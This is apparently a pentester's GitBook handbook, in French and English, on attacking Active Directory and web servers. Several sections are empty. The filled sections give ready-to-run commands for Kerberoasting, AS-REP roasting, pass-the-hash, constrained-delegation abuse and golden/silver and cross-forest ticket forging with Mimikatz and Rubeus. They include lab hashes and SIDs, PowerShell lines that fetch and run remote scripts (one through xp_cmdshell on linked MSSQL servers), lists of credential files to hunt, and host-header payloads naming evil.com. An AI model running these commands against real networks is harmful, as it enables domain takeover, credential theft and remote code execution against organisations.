# Cracking


# Coercition


# MS-RPRN (PrinterBug)


# MS-EFSR (PetitPotam)


# MS-DFSNM (DFSCoerce)


# MS-FSRVP (ShadowCoerce)


# WebClient (WebDAV)


# Relay

e


# Kerberos


# Kerberoasting

Kerberos is the preferred authentication protocol in Active Directory networks for domain accounts.

Kerberos focuses on the use of tickets that allow a user to be authenticated on the domain. The most common use of the Kerberos protocol is by users and services, the latter being the most widely used. To access a service, you need to request a service ticket. You need to specify an attribute called Service Principal Name (SPN). For example, to access a computer's HTTP service, you would request the service as follows: HTTP/computer.

An attacker can take advantage of this protocol to obtain user passwords:&#x20;

An attacker authenticates to a domain and obtains a ticket-granting-ticket (TGT) from the domain controller, which will be used for subsequent ticket requests. This request is called KRB\_AS\_REQ (Kerberos Authentication Service Request). The TGT requested by the client is a piece of encrypted information containing, among other things, a session key and user information (ID, name, groups, etc.). To make this TGT request, a user sends his name to the KDC (Key Distribution Center), along with the precise time of the request (which he encrypts with his secret) and some other information in clear text.&#x20;

The KDC will then receive this name, and check that it exists in its database. If it finds it, it will retrieve the hash of the user's password, which it will use to attempt to decrypt the timestamp sent. If it fails to do so, the client is not who it claims to be.&#x20;

The KDC will then send the user various elements in its response **(KRB\_AS\_REP) :**

* The session key, encrypted with the user's hash;&#x20;
* The TGT, containing various pieces of information, the main ones being :&#x20;
  * User name&#x20;
  * Validity period
  * The generated session key
  * The Privilege Attribute Certificate (PAC), which contains specific information about the client, enabling us to identify his or her rights (ID, groups to which he or she belongs, etc.).&#x20;

![](https://3529152589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MlK4duaZmxn8h2PRHMY%2Fuploads%2FS6wYYNReGQuwJirZUAOW%2Fimage.png?alt=media\&token=8ebb7e42-0612-4fc3-b1d9-2394765bccc6)

1. The attacker uses his TGT to issue a service ticket request (TGS-REQ) for a particular Service Principal Name (SPN) of the form *sname/host*, e.g. *MSSQL\_Svc/EXAMPLE.com* to access the SQL service. This SPN must be unique in the domain and is stored in the **ServicePrincipalName** field of a user or computer account. During this request process, the attacker can specify which Kerberos encryption types he supports (RC4\_HMAC, AES256\_CTS\_HMAC\_SHA1\_96, etc.).
2. If the attacker's TGT is valid, the domain controller extracts the TGT information and inserts it into a service ticket. Next, the domain controller looks up which account has the requested SPN registered in its ServicePrincipalName field. The service ticket is encrypted with the hash of the account for which the requested SPN is registered, using the highest encryption key supported by the attacker and the service account. The ticket is returned to the attacker in a service ticket response **(TGS-REP)**. It's important to understand that most services are registered to machine accounts, which have automatically generated 120-character passwords that change every month, so cracking their hashes is impractical. However, services are sometimes assigned to ordinary user accounts, managed by individuals, who may have weak passwords. Their password hashes are therefore weaker and can be cracked to recover user passwords.
3. The attacker extracts the encrypted service ticket from the TGS-REP. As the service ticket has been encrypted with the hash of the account linked to the requested SPN, the attacker can crack this encrypted piece offline to recover the account's plaintext password. In this way, he will be able to break the user's NTLM fingerprint and subsequently impersonate him.

![](https://3529152589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MlK4duaZmxn8h2PRHMY%2Fuploads%2FRwLEwRNoWU3FnRMVjJ2Q%2Fimage.png?alt=media\&token=818e579e-40d1-4703-9875-5962b57be831)

{% tabs %}
{% tab title="Linux" %}

#### [Impacket : ](https://github.com/SecureAuthCorp/impacket)

```bash
GetUserSPNs.py <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast 
```

#### [CrackmapExec ](https://github.com/Porchetta-Industries/CrackMapExec):&#x20;

```bash
cme ldap <IP> -u <USERNAME> -p <PASSWORD> --kerberoasting hashes.kerberoast
```

{% endtab %}

{% tab title="Windows" %}

#### [Powerview ](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1):&#x20;

```powershell
Get-NetUser -SPN | select serviceprincipalname 
```

#### [Rubeus : ](https://github.com/GhostPack/Rubeus)

```powershell
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
```

#### [Module Empire :](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1)

```powershell
iex (new-object Net.WebClient).DownloadString("<https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1>")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```

{% endtab %}
{% endtabs %}

## **Réferences :**&#x20;

{% embed url="<https://beta.hackndo.com/kerberoasting/>" %}

{% embed url="<https://blog.harmj0y.net/redteaming/kerberoasting-revisited/>" %}

{% embed url="<https://wiki.porchetta.industries/ldap-protocol/kerberoasting>" %}


# AS-REP Roasting

When requesting a TGT, the user must, by default, authenticate himself to the KDC (Key Distribution Center) for it to respond. This is known as Kerberos pre-authentication, meaning that a user will send an encrypted timestamp with his Kerberos key to the KDC in the AS-REQ message (to request a TGT).&#x20;

When we talk about the notion of TGT, it's often a misnomer, as we're actually talking about the **KRB\_AS\_REP**, which contains the TGT (encrypted with the KDC's secret) and the session key (encrypted with the user account's secret).

![](https://3529152589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MlK4duaZmxn8h2PRHMY%2Fuploads%2FrJL8koOm3c9mwl1Qf2eb%2Fimage.png?alt=media\&token=a01d7199-6932-4aeb-892f-5c736ac3e242)

As part of the KDC response is encrypted with the client account secret (the session key), it is important that this information is not accessible without authentication. If this were the case, anyone could request a TGT for a given account, and attempt to decrypt the encrypted part of the **KRB\_AS\_REP** response to retrieve the targeted user's password.

However, on rare occasions, Kerberos pre-authentication may be disabled for an account (the **DONT\_REQUIRE\_PREAUTH** attribute is checked). As a result, pre-authentication is no longer required for these accounts, allowing an attacker to abuse this configuration.

![](https://3529152589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MlK4duaZmxn8h2PRHMY%2Fuploads%2FKd5yVVeGGDNS6SR7minL%2FUntitled.png?alt=media\&token=3b0eb41b-8701-4c05-9dad-3c97bffa8e5f)

Thus, anyone can impersonate these accounts by sending an AS-REQ message, and an AS-REP response will be returned by the KDC with data encrypted with the user's hash.&#x20;

Once in possession of the KRB\_AS\_REP KDC response, the attacker can attempt to break the hash of this offline password and thus obtain the targeted victim's password in cleartext.&#x20;

The AS\_REP Roasting attack consists in identifying users without the required Kerberos pre-authentication and sending an AS-REQ request on their behalf, in order to retrieve the data element encrypted with the user hash in the AS-REP message. Once the data has been retrieved, an offline cracking attack is carried out in an attempt to recover the user's password.&#x20;

**It is important to note that pre-authentication is enabled by default and must be disabled manually.**

{% tabs %}
{% tab title="Linux" %}

#### [Impacket : ](https://github.com/SecureAuthCorp/impacket/)

```bash
python GetNPUsers.py <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -outputfile hashes_asreproast.txt
```

#### [CrackMapExec : ](https://github.com/Porchetta-Industries/CrackMapExec)

```bash
cme ldap <IP> -u <USERNAME> -p '<PASSWORD>' --asreproast hashes_asreproast.txt
```

{% endtab %}

{% tab title="Windows" %}

#### [PowerView : ](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)

```powershell
Get-DomainUser -PreauthNotRequired -verbose 
```

#### [Rubeus : ](https://github.com/GhostPack/Rubeus)

```powershell
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes_asreproast.txt
```

{% endtab %}
{% endtabs %}

### Cracking :

```bash
john --wordlist=passwords_kerb.txt hashes_asreproast.txt
hashcat -m 18200 --force -a 0 hashes_asreproast.txt passwords_kerb.txt
```

### **RedTeam POV:**

With sufficient rights (GenericAll/GenericWrite) an attacker can force the "pre-authentication not required" on a user :

```powershell
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
```

## References :&#x20;

{% embed url="<https://beta.hackndo.com/kerberos-asrep-roasting/>" %}

{% embed url="<https://github.com/HarmJ0y/ASREPRoast>" %}

{% embed url="<https://zer1t0.gitlab.io/posts/attacking_ad/#asreproast>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/asreproast>" %}


# Pass the Hash/Ticket

## **Pass the Hash**

### Mimikatz :

```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```

### Impacket :

```
psexec_windows.exe -hashes ":NTHASH" user@<domain>
wmiexec_windows.exe -hashes ":NTHASH" user@<domain>
atexec_windows.exe -hashes ":NTHASH" user@<domain> 'whoami'
```

### EvilWin-RM:

```
evil-winrm -u <username> -H <Hash> -i <IP>
```

### Windows Credentials Editor :

```
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
```

## **Pass the Ticket**

### Récupérer les tickets en mémoire :

```
mimikatz.exe "kerberos::ptt "kirbi_ticket"
.\Rubeus.exe ptt /ticket:kirbi_ticket
```


# MSSQL Trusted Links

## MSSQ - Trusted Links

Les bases de données MSSQL peuvent être liées, de sorte que si vous compromettez l'une d'entre elles, vous pouvez exécuter des requêtes (ou même des commandes ) sur d'autres bases de données dans le contexte d'un utilisateur spécifique (Domain Admin par exemple). Si cela est configuré, cela peut même être utilisé pour du cross trust Forest ! Si nous disposons d'une exécution SQL, nous pouvons utiliser les commandes suivantes pour énumérer les liens entre les bases de données.

```powershell
# Trouver les serveurs liés
EXEC sp_linkedservers

# Lancer des requêtes SQL sur le serveur link ciblé
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')

# Autoriser 'xp_cmdshell' sur le serveur distant est exécuter des commandes, cela ne marche que si le protocole RPC est activé
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER
```

Nous pouvons également utiliser PowerUpSQL pour rechercher des bases de données dans le domaine, et recueillir des informations supplémentaires sur les bases de données (accessibles). Nous pourrons également rechercher automatiquement, et exécuter des requêtes ou des commandes sur des bases de données liées (même à travers plusieurs couches de links de bases de données).

```powershell
# Obtenir des bases de données MSSQL dans le domaine, et tester la connectivité
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# Obtenir des information sur toutes les bases de données du domaine
Get-SQLInstanceDomain | Get-SQLServerInfo

# Avoir des information sur une seule base de donnée 
Get-SQLServerInfo -Instance TARGETSERVER

# Scanner la base de donnée MSSQL pour observer des potentielles mauvaises configuration
Invoke-SQLAudit -Verbose -Instance TARGETSERVER

# Exécuter une requête SQL
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER

# Exécuter une commande (autorise XP_CMDSHELL automatiquement si besoin)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" |  select -ExpandProperty CommandResults

# Trouver toutes les base donnée liées 
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft

# executer une commande si XP_CMDSHELL est autorisé sur une des base donnée liée
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''<http://172.16.100.55/Invoke-PowerShellTcpRun.ps1>'')"' | select instance,links,customquery | ft
```


# Forged Tickets


# Delegations


# Unconstrained Delegation

##


# Constrained Delegation

## Theory:

* Service for the user to itself (S4U2self): If a service account has a "*UserAccountControl*" value containing `TRUSTED_TO_AUTH_FOR_DELEGATION` (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user.
* Service for user to proxy (S4U2proxy): A service account can obtain a TGS on behalf of any user for the service defined in "`msDS-AllowedToDelegateTo`". To do this, it first needs a TGS from that user for itself, but it can use S4U2self to obtain this TGS before requesting the other.

{% hint style="warning" %}
Note: If a user is marked as "Sensitive account and cannot be delegated", you won't be able to impersonate them.
{% endhint %}

To summarize without going into too much detail: when a user requests the use of a service that will itself use a resource, the service must authenticate itself to resource B as the user. It will then ask the KDC for a TGS (Ticket Granted Service) in the user's name, encrypted with the service's hash. This TGS will then be sent to the service for validation.&#x20;

This means that if you compromise the service hash, you can impersonate users and gain access on their behalf to the services configured in the `msDS-AllowedToDelegateTo` attribute.

{% hint style="info" %}
A [closer look](https://beta.hackndo.com/constrained-unconstrained-delegation/#constrained--unconstrained-delegation) at the management of the delegation reveals two points:&#x20;

* In the first case, the **TRUSTED\_FOR\_DELEGATION** flag is set on the account, and the service can only relay kerberos authentications. It cannot use the **S4U2Self** extension to create a ticket.
* In the second case, the **TRUSTED\_TO\_AUTHENTICATE\_FOR\_DELEGATION** flag is set. If this is the case, then the service with this capability can impersonate any of the services in its list via the **S4U2Self** extension.

For example, if you have access to the *CIFS* service, you may also have access to the *HOST* service. Note that if you have access to the *LDAP* service on the DC, you will have sufficient privileges to use a *DCSync*-type attack.
{% endhint %}

{% hint style="warning" %}
Machine account can edite their own `msDS-AllowedToDelegateTo` own and so perform S4U2Self to impersonate anyone on the machine.&#x20;
{% endhint %}

## Practice:

{% tabs %}
{% tab title="Linux" %}
Find delegation:

```
findDelegation.py <DOMAIN>/<USER>:<PASSWORD> -target-domain <DOMAIN>
```

Exploit by requesting a TGS:

```
getST.py -spn 'CIFS/<COMPUTER>' -impersonate <DOMAIN_ADMIN> -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
```

{% endtab %}

{% tab title="Windows" %}

```powershell
.\Rubeus.exe s4u /user:<USER> /rc4:<hash> /impersonateuser:Administrator /msdsspn:"CIFS/DC.DOMAIN.CORP" /altservice:ldap /ptt
```

{% endtab %}
{% endtabs %}

{% embed url="<https://www.cyberark.com/resources/threat-research-blog/weakness-within-kerberos-delegation>" %}
Blog de CyberArk
{% endembed %}

{% embed url="<https://beta.hackndo.com/constrained-unconstrained-delegation#constrained--unconstrained-delegation>" %}
Blog de Pixis
{% endembed %}

{% embed url="<https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory>" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket#available-services>" %}


# (RBCD) Resource-Based Constrained


# GPOs


# DACL


# Certificates Service (AD-CS)


# Privileged Groups

{% hint style="info" %}
A FAIRE
{% endhint %}


# DNS Admin


# Backup Operator


# Built-in Misconfigurations


# PASSWD\_NOTREQD


# DONT\_EXPIRE\_PASSWORD


# MachineAccountQuota


# LAPS

LAPS (Local Administrator Password Solution) est un utilitaire permettant de gérer les mots de passe des administrateurs locaux des ordinateurs du domaine. LAPS rend **aléatoire** les mots de passe des administrateurs locaux afin d'éviter la réutilisation des informations d'identification et les **change périodiquement**.

Pour cela, LAPS ajoute deux propriétés aux objets ordinateurs du domaine : *ms-Mcs-AdmPwd* et *ms-Mcs-AdmPwdExpirationTime*.

La propriété *ms-Mcs-AdmPwd* stocke le mot de passe de l'administrateur local de la machine, et ne peut être vue que si elle est explicitement accordée. Si vous êtes capable d'obtenir le mot de passe de l'administrateur local, vous pouvez vous connecter à l'ordinateur (en utilisant l'authentification NTLM) avec des droits d'administrateur.

L'autre propriété *ms-Mcs-AdmPwdExpirationTime* peut être lue par n'importe qui (par défaut), donc afin d'identifier les ordinateurs gérés par LAPS, il est possible de rechercher les machines qui contiennent cette propriété.


# CVEs


# EternalBlue | MS17-010


# Zerologon (CVE-2020-1472)


# SamTheAdmin (CVE-2021-42278)


# Certifried: (CVE-2022–26923)


# Persistance & Exfiltration


# Golden Ticket


# Silver Ticket

### Service à cibler lors de demande de TGS :&#x20;

<table><thead><tr><th width="160.33333333333331" align="center">Type de service</th><th align="center">Service Silver Ticket</th><th>Attaques</th></tr></thead><tbody><tr><td align="center">SWMI</td><td align="center">HOST + RPCSS</td><td><code>wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"</code></td></tr><tr><td align="center">Powershell Remoting</td><td align="center">HTTP + WSMAN</td><td><code>New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC</code></td></tr><tr><td align="center">WinRM</td><td align="center">HTTP + WSMAN</td><td><code>New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC</code></td></tr><tr><td align="center">Scheduled Tasks</td><td align="center">HOST</td><td><code>schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"</code></td></tr><tr><td align="center">Windows File Share (CIFS)</td><td align="center">CIFS</td><td><code>dir \dc01\c$</code></td></tr><tr><td align="center">LDAP operations including Mimikatz DCSync</td><td align="center">LDAP</td><td><code>lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt</code></td></tr><tr><td align="center">Windows Remote Server Administration Tools</td><td align="center">RPCSS + LDAP + CIFS</td><td></td></tr></tbody></table>


# Skeleton Key


# DSRM


# Custom SSP


# AdminSDHolder

AdminSdHolder protège les objets de domaine contre les changements de permission. "AdminSdHolder" fait référence soit à un objet de domaine, soit à une opération, selon le contexte.

L'opération consiste à ce que le PDC (Principal Domain Controller) restaure toutes les 60 minutes des autorisations ACLs prédéfinies pour les utilisateurs à haut privilège.

L'opération est menée par un processus appelé SDProp (Security Descriptor propagator). SDProp est un processus qui s’exécute toutes les 60 minutes (par défaut) sur le contrôleur de domaine qui contient l’émulateur PDC du domaine (PDCE).

SDProp compare les autorisations sur l’objet AdminSDHolder du domaine avec les autorisations sur les comptes et groupes protégés du domaine. Si les autorisations sur l’un des comptes et groupes protégés ne correspondent pas aux autorisations sur l’objet AdminSDHolder, les autorisations sur les comptes et groupes protégés sont réinitialisées pour correspondre à celles de l’objet AdminSDHolder du domaine.

L'objet AdminSdHolder est situé à l'adresse *`CN=AdminSdHolder,CN=SYSTEM,DC=DOMAIN,DC=LOCAL`*.

Par exemple, la DACL de l'objet AdminSdHolder par défaut contient ce qui suit.

* Utilisateurs authentifiés : **Read**
* SYSTEM : **Full Control**
* Administrateurs : **Modify**
* Administrateurs de domaine : **ReadAndExecute**
* Administrateurs d'entreprise : **ReadAndExecute**

Les objets protégés par défaut sont les suivants :

* Les membres (éventuellement imbriqués) des groupes suivants : *Account Operators*, *Administrators*, *Backup Operators*, *Domain Admins*, *Domain Controllers*, *Enterprise Admins, Print Operators, Read-only Domain Controllers, Replicator, Schema Admins, Server Operators*
* les utilisateurs suivants : *Administrator*, *krbtgt*

{% hint style="warning" %}
Lorsqu'on parle d'AdminSdHolder, on mentionne généralement l'attribut *AdminCount*. Les objets protégés par AdminSDHolder ont cet attribut automatiquement défini sur 1 lorsqu'on l'ajoute à un groupe protégé.

Il faut bien noter que l’attribut AdminCount n'est pas remis à 0 lorsque l'utilisateur est retiré d'un groupe protégé. La suppression d'un compte utilisateur après la révocation de ses droits à privilèges élevés est recommandée, sinon le compte peut être utilisé pour créer des backdoors avant que ses droits ne soient supprimés. C’est pourquoi Microsoft ne supprime pas l'entrée de l'attribut AdminCount, car il suppose que le compte va être désactivé ou supprimé.&#x20;
{% endhint %}

Si des privilèges suffisants sont obtenus, un attaquant peut abuser de AdminSdHolder pour maintenir la persistance sur un domaine en modifiant la DACL de l'objet AdminSdHolder.&#x20;

Par exemple, un attaquant pourrait ajouter l'ACE suivant à la DACL de AdminSdHolder : `Utilisateur_contrôlé_par_un_attaquant: Full Control`&#x20;

Lors de la prochaine exécution de SDProp, cet utilisateur aura un privilège *GenericAll* sur tous les objets protégés (Admins de domaine, contrôleurs de domaine, etc.).


# Cross Trust Attack

{% content-ref url="/pages/WQqFbsdLHEB765NPuYgJ" %}
[Across Domain](/active-directory/cross-trust-attack/across-domain)
{% endcontent-ref %}

{% content-ref url="/pages/Q2Sst7BukQpb3ZXLagHv" %}
[Across Forest](/active-directory/cross-trust-attack/across-forest)
{% endcontent-ref %}

##


# Across Domain

## 1/ Across Domain

Il existe deux manières de devenir Domain Admin du domaine parent :

* Obtenir le hash du compte krbtgt&#x20;
* Se baser sur des Trust tickets

### 1.A/ Trust Ticket

Il s'agit de demander l'accès à un service se situant sur un autre domaine :

1. Demande TGT pour valider l'identité
2. Réponse du KDC1 par un TGT
3. Demande de TGS pour le service situé sur l'autre domaine au KDC1
4. Reponse du KDC1 par un inter-realm TGT = TGT encrypté avec la trust key
5. Demande TGS avec inter-realm TGT au KDC2 de l'autre domaine. Si le KDC de l'autre domaine arrive à decrypté le inter-realm TGT alors :
6. Reponse de TGS par le KDC2 pour le service demandé

#### Avec Mimikatz :

```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' # A faire depuis le DC
```

&#x20;⚠️ Chercher la relation : \[IN] Trust Key de domain1.local→ domain2.local

Ou bien :

```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\\<USER>"' # A faire depuis le DC
```

Avec le compte machine `mcorp$` qui est le nom NetBios du domaine parent.

```powershell
Get-ADComputer mcorp-dc.moneycorp.local
```

Il nous d'abord retrouver le sid du groupe "enterprise admin" qui n'est d'autre que le sid du Root domain avec le suffix "-519"

Afin de retrouve le sid de ce dernier lancez cette commande:

```powershell
Get-DomainSID -Domain moneycorp.local 
```

On peut ensuite récupérer la clef de confiance (Trust Key). Avec cette clef, on peut forger un TGT au nom d'un Domain Admin d'un domaine parent :

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:f052addf1d43f864a7d0c21cbce440c9 /service:krbtgt /target:moneycorp.local /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi"'
```

On peut ensuite faire une demande de TGS pour le CIFS du DC du domaine parent par exemple :

```powershell
asktgs.exe "ticket.kirbi" CIFS/mcorp-dc.moneycorp.local
```

pour loader les ticket en mémoire

```powershell
.\\kirbikator.exe lsa "ticket.kirbi"
```

#### Avec Rubeus :

```powershell
.\\Rubeus.exe asktgs /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```

### 1.B/ Avec le hash du compte KRBTGT du domaine courant :

```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

Création du Golden Ticket :

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:<HASH> /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi"'
```

```powershell
Invoke-Mimikatz -Command '"kerberos:ptt "ticket.kirbi"
```


# Across Forest

## 2/ Across Forest

Même methodologie que pour abuser des cross domain trust :

On demande la Trust Key :

```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' # A faire depuis le DC
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

Creation d'un TGT inter-Forest :

```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:0fd0741334bd0ef966f87094f10cc522 /service:krbtgt /target:eurocorp.local /ticket:trust_forest_tkt.kirbi"'
```

#### Avec Mimikatz :

Demande d'un TGS pour un service ciblé dans la Forest :

```powershell
.\\asktgs.exe trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local
```

On load ensuite les TGS en mémoire :

```powershell
.\\kirbikator.exe lsa .\\CIFS.eurocorp-dc.eurocorp.local.kirbi
```

#### Avec Rubeus :

```powershell
.\\Rubeus.exe asktgs /ticket:trust_forest_tkt.kirbi /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt
```


# References

* [https://book.hacktricks.xyz/](https://book.hacktricks.xyz/windows/active-directory-methodology/acl-persistence-abuse)
* <https://beta.hackndo.com/>
* <https://www.ired.team/>
* [https://casvancooten.com/](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#powershell-amsi-bypass)
* [https://www.guidepointsecurity.com](https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/)
* [https://www.cyberark.com/](https://www.cyberark.com/resources/threat-research-blog/weakness-within-kerberos-delegation)
* <https://attack.stealthbits.com/>
* <https://attack.stealthbits.com/>
* <https://www.thehacker.recipes>/
* <https://www.hackingarticles.in/active-directory-enumeration-rpcclient/>
* <https://bitvijays.github.io/LFF-IPS-P3-Exploitation.html>
* <https://medium.com/@Shorty420/enumerating-ad-98e0821c4c78>


# Windows


# Informations d'identifications

Rechercher des informations d'identifications stockées en dur sur le disque est une des méthodes les plus faciles qui quelques fois peut se révéler utile lorsque l’utilisateur n’utilise pas de gestionnaire de mot de passe.

* Au minimum ce type de récupération d’information sensible peut au minimum vous apporter le mot de passe de l'utilisateur actuel.
* Au mieux vous pouvez récupérer le mot de passe de l’administrateur local de la machine.&#x20;

- [x] Lister le nom de tous les fichiers stocké sur chaque disque présent sur la machine

```bash
#lister les disques de la machine 
net use 

dir /b /a /s c:\\ > Dump_dirs.txt
```

* [x] Parser les fichiers contenants des mots-clés comme “passwd” par exemple

```bash
type  Dump_dirs.txt | findstr /i passwd 
```

* [x] Fichiers intéressants :

```bash
type  Dump_dirs.txt | findstr /i  ssh
type  Dump_dirs.txt | findstr /i  kdbx
type  Dump_dirs.txt | findstr /i  vnc
```

```bash
# Autres types de fichier à chercher:
install, backup, .bak, .log, .bat, .cmd, .vbs, .cnf, .conf, .config, .ini, .xml, .txt, .gpg, .pgp, .p12, .der, .csr, .cer, id_rsa, id_dsa, .ovpn, .rdp, vnc, ftp, ssh, vpn, git, .kdbx, .db
unattend.xml
Unattended.xml
sysprep.inf
sysprep.xml
VARIABLES.DAT
setupinfo
setupinfo.bak
web.config
SiteList.xml
.aws\\credentials
.azure\\accessTokens.json
.azure\\azureProfile.json
gcloud\\credentials.db
gcloud\\legacy_credentials
gcloud\\access_tokens.db
```

* [x] Les clefs de registre

```bash
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

* [x] Checker le Windows Credentials Manager

```bash
cmdkey /list
```

* Checker si les utilisateurs appartiennent au groupe administrateurs

  ```bash
  net user "<USERNAME>"
  ```

  * Si oui lancer une commande runas avec l’option /savecred qui ira chercher les informations d'identification dans le Windows Credentials Manager.

  ```bash
  runas /sacre /user:admin cmd.exe
  ```
* Utilisation de CMS.ps1 (script Microsoft qui permet à quiconque de récupérer les mots de passe stockés dans le Windows Credentials Manager)

  ```bash
  powershell Import-Module cms.ps1 ; Enum-Creds
  ```

## Références :&#x20;

{% embed url="<https://www.hackingarticles.in/credential-dumping-windows-credential-manager/>" %}

{% embed url="<http://woshub.com/saved-passwords-windows-credential-manager/>" %}

{% embed url="<https://institute.sektor7.net>" %}


# Configuration des services


# Linux


# Mobile & IOT


# CheckList & Méthodologie

## Au début :

* [ ] Ajouter l'url dans le scope sur BURP
* [ ] Mettre les cookies du compte le moins privilégié dans l'extension Authorize

## Scan Server

* **NMAP**

  ```bash
    sudo nmap -sS <IP>
    nmap -A -p- <IP>
    sudo nmap -v -Pn -sV --reason --version-all --top-ports 1000 <IP>
  ```
* **Nikto**

  ```bash
    nikto -h <URL>
  ```
* **Shodan**
  * [ ] Aller sur le site Shodan et regarder s'il existe des informations
* **DNS**
  * [ ] Check DNS

    ```bash
    dnsrecon -d www.example.com -a
    dnsenum <IP>
    ```

## SSL/TLS Check

* [ ] Checkez la **version TLS utilisée** (doit être 1.3) | **Expiration des certificats** | **Support PFS**
  * [ ] SSL Scanner (Burp Extension)
  * [ ] [SSL\_Check](https://github.com/drwetter/testssl.sh)

    ```bash
    ./testssl.sh <URL>
    testssl <URL>
    ```

## Subdomain/Directory Listing

* [ ] Checker les sous domaines ([Subfinder](https://github.com/projectdiscovery/subfinder), [Amass](https://github.com/OWASP/Amass), [CRTfinder](https://github.com/eslam3kl/crtfinder), [Sublist3r](https://github.com/aboul3la/Sublist3r))
* [ ] Checker les directories (Dirb, Dirbuster, Gobuster, FeroxBuster, dirSearch)

## Specific informations gathering

* [ ] Check de :
  * [ ] /.git
  * [ ] /robots.txt
  * [ ] /sitemap.xml
  * [ ] /crossdomain.xml
  * [ ] /clientaccesspolicy.xml
  * [ ] /phpinfo.php
  * [ ] .DS\_Store (<https://github.com/gehaxelt/Python-dsstore>)

    ```bash
    python main.py samples/.DS_Store.ctf
    ```
* [ ] WAF (Fortinet, CloudFlare, etc...)
* [ ] Google Dork
* [ ] Code source

## Headers Check

* [ ] X-XSS-Protection
* [ ] Strict-Transport-Security
* [ ] X-Content-Type-Options
* [ ] X-Frame-Options
* [ ] Content-Security-Policy
* [ ] Cache-Control

## Headers Injection

* **Host header injection**

  * **Host Header**
    * [ ] `Host : evil.com`
    * [ ] `Host: localhost`
    * [ ] `Host : javascript:confirm(1)`
    * [ ] `Host: <link src="http://www.attacker.com"/>`
    * [ ] **Dupliquez** le champs `Host : evil.com`:

      ```bash
      GET / HTTP/1.1
      Host: www.vulnerable_website.com
      Host: www.attacker.com
      ```
    * [ ] **Indentez** le premier champ Host :

      ```bash
      GET / HTTP/1.1
       Host: www.vulnerable_website.com
      Host: www.attacker.com
      ```

  * **Bypass admin panel**

    ```
      1. Ce bypass est utilisé lorsque l'accès à la page de connexion de l'admin vous est interdit.
      3. Injecter "X-Orginal-URL : /admin" ou "X-Rewrite-URL:/admin".
      4. Utiliser cet en-tête sous Host

      * Utilisez Burp pour capturer puis vérifier
    ```

  * **Forwarded Injection**

    **Injecter :**

    * [ ] 127.0.0.1
    * [ ] localhost
    * [ ] 192.168.1.2
